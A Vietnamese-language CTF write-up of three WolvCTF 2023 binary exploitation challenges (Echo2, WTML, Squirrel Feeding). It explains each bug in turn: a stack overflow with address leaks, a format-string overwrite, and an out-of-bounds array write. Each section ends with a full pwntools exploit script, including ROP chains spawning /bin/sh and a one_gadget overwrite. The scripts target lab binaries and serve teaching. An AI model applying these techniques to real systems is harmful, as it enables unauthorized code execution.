Try   HackMD

(writeup) WolvCTF2023

Echo2

  • check file + checksec

  • check ida

  • kiểm tra thông tin về hàm fread

  • sẽ đọc vào biến ptr, mỗi 1 byte, tổng lượng byte là v2[0], với parament là stdin
  • ta sẽ leak exe ra ở ngay fread, dữ liệu xuất ra ở return printf
  • offset tới rip là

279 bởi vì có byte \n từ scanf ở trước

  • ban đầu để ntn thì k có dữ liệu nào ra
payload = b'280' #bao gồm byte \n của scanf

p.sendlineafter(b'Echo2\n',payload)

payload = b'A'*280 #ghi đè dư 1 byte exe để leak 

p.send(payload)

p.recvuntil(b'A'*279)
exe_leak = u64(p.recv(6) + b'\0\0')
  • kiểm tra bên ngoài thì thấy

  • nhập 4 nhưng chỉ in 3 kí tự đầu
  • tức là tăng lên +1 ở lần nhập đầu tiên thì mới có nhiều dữ liệu ra thêm
payload = b'281' #bao gồm byte \n của scanf

p.sendlineafter(b'Echo2\n',payload)

payload = b'A'*280 #ghi đè dư 1 byte exe để leak

p.send(payload)

p.recvuntil(b'A'*279)
exe_leak = u64(p.recv(6) + b'\0\0')
  • ta leak dc exe đấy nhưng mà

  • rip nó lại đang trỏ tới <echo+120> (bad)
  • khi ta ghi đè 280 byte A thì ret lại vào địa chỉ (bad) tệ hại đó khiến ta k thực thi lại main dc
  • thứ ta cần là chạy tiếp là leak them libc
  • vậy payload ta sẽ đổi lại là 279 byte A và 1 byte đâu đó trong main

  • thì lúc này ta thử ở byte cuối là 4c, offset là 0x124c (coi vm thì thấy chênh nhau 2 bye cuối)
  • vậy ta đã thực thi lại hàm main thành công, bước tiếp theo ta leak libc thôi

  • đề là có libc.so.6
  • vậy ta sẽ load thêm libc vào script
  • ngoài ra ta sẽ leak thêm ret của echo để thuận tiện leak libc

0x1246

  • tương tự ta padding 279 byte A
  • rồi tới ret echo
  • rồi thực thi PLT của puts để leak libc

  • như ta thấy sau rbp ta sẽ pad ret echo, rồi PLT puts là ngay sau libc
  • leak xong ta 1 lần nữa ret echo
  • để rồi thực thi lại hàm echo
  • vì lần scanf phải gửi dư 1 byte mới leak dc nên ta sài str(len(payload)+1) cho thuận tiện, khỏi đếm bnhiu byte cần leak
  • NHƯNG, leak dữ liệu là sau 279 byte A và mớ cái byte đằng sau lệnh PLT, trước byte 'Welcome to Echo2\n'
  • thì theo kinh nghiệm là ta sẽ leak kiểu này
p.recvuntil(b'A'*279)
libc_leak = u64(p.recvuntil(b'Welcome'), drop=True)[-6:] + b'\0\0')
  • là nhận đến chuỗi 'Welcome' thì bỏ đi nó, nhập trước nó 6 byte
  • thì libc leak ra lại bị thừa con 0xa đầu, nghi nghi là byte '\n' nên đổi lại thành [-7:-1] mới được
  • bài này ta k dùng tool one_gadget được
  • ta sẽ đổi qua libc.sym['system']
  • vì tìm thanh ghi 'pop rdi' từ file exe không có nên mới sử dụng libc để tìm offset (do libc chắc chắn đầy đủ thanh ghi cho mình)

  • hmmm, do_system mà cũng bị xmm1 ư =))))) 🙇‍♂️
  • thiện style thiện style 🙏
  • vậy là mỗi rdi trỏ tới chuỗi /bin/sh thôi thì k đủ, ta dạo quanh hồ gươm thì thêm rdx = NULL thì lại dc =)))))
  • đã thử thêm ret, add rsp 8, đều k dc, chỉ có pop rdx là dc

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./challenge',checksec=False)
libc = ELF('./libc.so.6',checksec=False)

p = process(exe.path)

# gdb.attach(p, gdbscript='''
# 	b*echo+52
# 	b*echo+88
# 	b*main+129
# 	c
# 	''')
# input()

payload = b'281' 

p.sendlineafter(b'Echo2\n',payload)
#input()
payload = b'A'*279 + b'\x4c'

p.send(payload)

p.recvuntil(b'A'*279)
exe_leak = u64(p.recv(6) + b'\0\0')
exe.address = exe_leak - 0x124c
log.info("exe leak: " + hex(exe_leak))
log.info("Exe base: " + hex(exe.address))

ret_echo = exe.address + 0x1246

payload = b'A'*279
payload += p64(ret_echo)
payload += p64(exe.plt['puts'])
payload += p64(ret_echo)
payload += p64(exe.sym['echo'])

p.sendlineafter(b'Echo2\n', str(len(payload) + 1))
p.send(payload)

p.recvuntil(b'A'*279)

libc_leak = u64(p.recvuntil(b'Welcome', drop=True)[-7:-1] + b'\0\0')
libc.address = libc_leak - 0x620d0
info("Libc leak: " + hex(libc_leak))
info("Libc base: " + hex(libc.address))

pop_rdi = libc.address + 0x000000000002a3e5
pop_rdx_r12 = libc.address + 0x000000000011f497

payload = b'A'*279 
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh')))
payload += p64(pop_rdx_r12) + p64(0) + p64(0)
payload += p64(libc.sym['system'])

p.sendlineafter(b'Echo2\n', str(len(payload) + 1))
p.send(payload)

p.interactive()

WTML

  • check file + checksec

  • check ida

  • func prompt_tag

ở trong func này, nếu char nhận đc chứa byte '\n', '<' hay '>' sẽ exit()
  • fuc replace_tag_v1

  • kiểm tra format chuỗi nhập vào
thấy format giống kiểu WEB =))
nào là <x>heading</x
phải thêm ký tự đằng sau '<' vì hàm if lồng nhau
  • func replace_tag_v2

  • printf, ngon, fmtstr thui
  • đầu tiên, gdb và vm thì thấy file này có libc.so.6, nhưng đề lại cho libc-2.31.so, tiện tay nên pwninit luôn
  • dừng lại trước hàm fread:

  • ở đây ta thấy bắt đầu nhập từ $rdi tới 32 byte (0x20 hexabyte) thì full 4 dòng stack này, byte kế là 0x00

offset = 32 (0x20 theo ida) (bao gồm 5 byte bắt buộc là '<', 'x' , '>', '<', '/' )

  • payload ta sẽ nhập theo format
payload = b'<x>' + b'A'*27 + b'</'
  • nhìn lại hàm replace_tag_v1

  • phần if bên dưới, nó còn xét byte cuối cùng sau '</' là biến a2 lượng byte là 1, đối chiếu lên if bên trên sau byte '<' và trước byte '>' cũng là biến a2, thì chắc muốn vượt qua hàm này cái format <x>padding27byte</x, x\x00 hoặc \0
  • x này có thể gọi là 1 cái tag (theo chương trình định nghĩa như thế)
  • ngoài ra, khi ta tel thêm, thấy 1 địa chỉ k nằm trong phân vùng nào nhưng lại trỏ đến exe_base

  • khai thác .fini_aray nhuỷ 🥲
  • nhưng k có get_shell nên ta chắc phải leak libc rồi tool one_gadget cho lẹ
  • payload cho thử
payload = b'<\0>' + b'A'*27 +b'</'
  • rồi dừng ở replace_tag_v2, ngay printf thứ 2, nơi leak dữ liệu ra
  • mà ta phải gửi cái thay tag 2 lần,

  • một lần thì báo ntn

  • ở %53 có 1 địa chỉ libc

  • ta tiện leak thêm stack (ở %40), stack trỏ đến $rip có offset 0x58
  • ta k thể dừng ở fread đầu tiên để tính % đc, bởi sau 7749 bước dữ liệu thay đổi thì ssack sẽ thay đổi đến khi hàm printfreplace_tag_v2 được gọi
  • ta sẽ ghi đè $rip thành one_gadget
  • tính base của libc ta có 0x24083
  • rồi ta "đóng gói hành lí" cái one_gadget ở

  • tầm %16 đi, rồi padding đến %16 ( bỏ 8 byte ghi đè, tới %16 là 0x40 byte)

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./challenge_patched',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)

p = process(exe.path)

# gdb.attach(p, gdbscript='''
# 	b*replace_tag_v2+72
# 	c
# 	''')
# input()

payload = b'<\0>' + b'%40$p%53$p'.ljust(27, b'A') + b'</'

#offset .fini_array = 0x3288

p.sendafter(b'WTML!\n', payload)
#input()
p.sendlineafter(b'[q to quit]?\n', b'\0')

p.sendlineafter(b'tag?\n',b'\1')

p.sendlineafter(b'[q to quit]?\n', b'\0')

p.sendlineafter(b'tag?\n',b'\1')

p.recvuntil(b'<\1>')
leaking = p.recvuntil(b'A', drop=True).split(b'0x')
stack_leak = int(leaking[1], 16)
stack_ptr = stack_leak - 0x58
libc_leak = int(leaking[2], 16)
libc.address = libc_leak - 0x24083
log.info("stack leak: " + hex(stack_leak))
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))

one_gadget = libc.address + 0xe3b01

package = {
    (one_gadget >> 0) & 0xffff: stack_ptr + 0,
    (one_gadget >> 16) & 0xffff: stack_ptr + 2,
    (one_gadget >> 32) & 0xffff: stack_ptr + 4,
}

order = sorted(package)
payload = f'%{order[0]}c%16$hn'.encode()
payload += f'%{order[1] - order[0]}c%17$hn'.encode()
payload += f'%{order[2] - order[1]}c%18$hn'.encode()
payload = payload.ljust(0x40, b'A')
payload += flat(
	package[order[0]],
	package[order[1]],
	package[order[2]],
	)

p.sendlineafter(b'about v2: ', payload)

p.interactive()
  • ủa z là đâu có .fini_aray dữ đâu, chỉ là phương pháp ghi đè giống cách khai thác .fini_aray =))))))

Squirrel Feeding

  • check file + checksec

  • check ida

  • full source code:
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>

#define FEED_OPTION 1
#define VIEW_OPTION 2
#define QUIT_OPTION 3
#define MAX_NAME_LEN 16
#define BIN_COUNT 10
#define BIN_SIZE 4
#define FLAG_SQUIRREL_NAME "santa"

// Structs

typedef struct map_entry {
    char name[MAX_NAME_LEN];
    size_t weight;
} map_entry;

typedef struct map_data {
    size_t bin_sizes[BIN_COUNT];
    map_entry bins[BIN_COUNT][BIN_SIZE];
} map_data;

typedef struct map {
    map_data *data;
    map_data local;
} map;

// Globals

map flag_map = {0};

// Functions

size_t hash_string(char *string) {
    size_t hash = 0;
    size_t len = strlen(string);
    if (len > MAX_NAME_LEN)
        return 0;

    for (size_t i = 0; i < len; i++) {
        hash += string[i] * 31;
    }
    return hash;
}

void get_max_weight(map *m, char *key) {
    // TODO: implement
    // I figured I would just leave the stub in!
}

void increment(map *m, char *key, size_t amount) {
    size_t hash = hash_string(key);
    if (hash == 0)
        return;

    size_t index = hash % BIN_COUNT;

    for (size_t i = 0; i <= BIN_COUNT; i++) {
        map_entry *entry = &m->data->bins[index][i];

        // Increment existing
        if (strncmp(entry->name, key, MAX_NAME_LEN) == 0) {
            entry->weight += amount;
            printf("Squirrel %s has weight %zu lbs\n", entry->name, entry->weight);
            return;
        }

        // Create new
        if (i == m->data->bin_sizes[index]) {
            strncpy(entry->name, key, MAX_NAME_LEN);
            entry->weight += amount;
            if (key != FLAG_SQUIRREL_NAME) printf("New squirrel %s has weight %zu lbs\n", entry->name, entry->weight);
            m->data->bin_sizes[index]++;
            // TODO: enforce that new weight does not exceed the "presidential chonk!"
            get_max_weight(&flag_map, FLAG_SQUIRREL_NAME);
            return;
        }
    }
}

void print(map *map, char *key) {
    size_t hash = hash_string(key);
    if (hash == 0)
        return;

    size_t index = hash % BIN_COUNT;

    for (size_t i = 0; i < map->data->bin_sizes[index]; i++) {
        map_entry *entry = &map->data->bins[index][i];

        if (strncmp(entry->name, key, MAX_NAME_LEN) != 0) continue;

        printf("Squirrel %s has weight %zu lbs\n", entry->name, entry->weight);
        return;
    }
}

void init_flag_map() {
    FILE *flag_file = fopen("flag.txt", "r");
    if (flag_file == NULL) {
        puts("File not found!");
        exit(EXIT_FAILURE);
    }

    char flag_text[0x100];
    fgets(flag_text, sizeof(flag_text), flag_file);
    long flag_weight = strtol(flag_text, NULL, 10);

    flag_map.data = &flag_map.local;
    increment(&flag_map, FLAG_SQUIRREL_NAME, flag_weight);

    fclose(flag_file);
}

size_t i = 0;
long option = 0;
char *end_ptr = NULL;
char option_input[0x8] = {0};
char name_input[MAX_NAME_LEN] = {0};

void loop() {
    map m = {0};
    m.data = &m.local;

    while (i < 5) {
        puts("==============================");
        puts("What would you like to do?");
        puts("1. Feed your favorite squirrel");
        puts("2. View squirrel weight");
        puts("3. Quit");
        fputs("> ", stdout);

        fgets(option_input, sizeof(option_input), stdin);
        option = strtol(option_input, &end_ptr, 10);
        if (errno) {
            puts("Invalid option!");
            continue;
        }

        if (option == FEED_OPTION) {
            ++i;

            fputs("Enter their name: ", stdout);
            fgets(name_input, sizeof(name_input), stdin);

            fputs("Enter the amount to feed them: ", stdout);
            fgets(option_input, sizeof(option_input), stdin);
            option = strtol(option_input, &end_ptr, 10);
            if (errno) {
                puts("Invalid option!");
                continue;
            }

            increment(&m, name_input, option);

        } else if (option == VIEW_OPTION) {
            fputs("Enter their name: ", stdout);

            fgets(name_input, sizeof(name_input), stdin);

            print(&m, name_input);

        } else if (option == QUIT_OPTION) {
            break;

        } else {
            puts("Invalid option!");
        }
    }
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    puts("Welcome to the Michigan squirrel feeding simulator!");

    init_flag_map();

    loop();
}

  • ta thấy trong func init_flag_map có gọi hàm strtol()

  • vậy ta sẽ tạo file flag.txt chỉ có chứa số bên trong 13371337
  • trong func loop sẽ lặp lại 5 lần

  • func print sẽ in flag ra cho mình

  • khi vào hàm increment, sẽ khởi động func hash_string

  • lấy từng kí tự trong chuỗi mình nhập vào, nhân 31 r tính tổng
  • ngoài ra thêm 1 hàm strncmp()

  • so sánh entry->name với key
  • ta sẽ đặt break point trc khi gọi hash_string

  • ngay hàm strncmp()

  • ret_increment

  • ở thiết lập map_data, dc cấp BIN_SIZE là 4, nhưng dữ liệu ta dc nhập tới 5 lần do hàm while, vậy ở lần cuối ta sẽ truy cập ngoài mảng và ret tại 1 địa chỉ của func print để in flag của mình
  • việc ta muốn OW thì phải nhập từ thứ tự 9, vì BIN_COUNT dc set là 10

  • tức là index ở đây phải là con số 9
  • index = hash % 10
  • thì idea sẽ là con số 9 hoặc con số 1
  • nhưng vì chọn số 9 không khả thi, chọn số 1 lại được
  • vì trong modul đồng dư, thay vì dư 1 thì ta cũng có thể nói lách là dư -9 khi lấy modul cho 10 (vả lại thường mấy bài OOB là sẽ truy cập biến âm )
  • và sau lần gửi ở 'name: ', ta có thể thêm bao nhiu chữ tuỳ ý có số DEC là chẵn chia hết cho 10, nhưng k dc quá 15 chữ vì
#define MAX_NAME_LEN 16
  • ta chọn chữ 'P' đi, vì chr(80)='P'
  • và gửi theo trình tự để dễ DEBUG
  • sau khi gửi 4 lần dữ liệu, ta break ngay tại ret_increment và kiểm tra stack

  • lúc này $rip dg trỏ tới <main+130>
  • lần nhập thứ 5 sẽ OW $rip và ta sẽ hướng nó đên func sẽ in flag ta ra, tức là hàm print
  • nhưng dữ liệu vào là dạng số, ta k thể exe.sym đc
  • và cũng như hướng khai thác là out-of-bound nên ta sẽ tìm offset đến print
  • kiểm tra phân vùng của print thì thấy nằm trong r_x của exe, và

p/x 0x0055df4950b9c0 - 0x55df4950b50e = 0x4b2
offset = -0x4b2

  • ta run thử script thì thấy k ra, DEBUG thì thấy lỗi xmm0

  • nên ta nhảy sau push là +5 lên

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./challenge',checksec=False)

p = process(exe.path)

# gdb.attach(p, gdbscript='''
# b*increment+31
# b*increment+192
# b*increment+446
# c
# ''')
# input()

# 4 lan nhap dau
for i in range(4):
    p.sendlineafter(b'> ',b'1')
    p.recvuntil(b'name: ')
    p.sendline(b'1'+i*b'P')
    p.sendlineafter(b'them: ',b'1')

# lan nhap thu 5
p.sendlineafter(b'> ',b'1')
p.recvuntil(b"name: ")
p.sendline(b"1PPPP")

print_func = -0x4b2

p.sendlineafter(b'them: ',str(print_func+5))

p.interactive()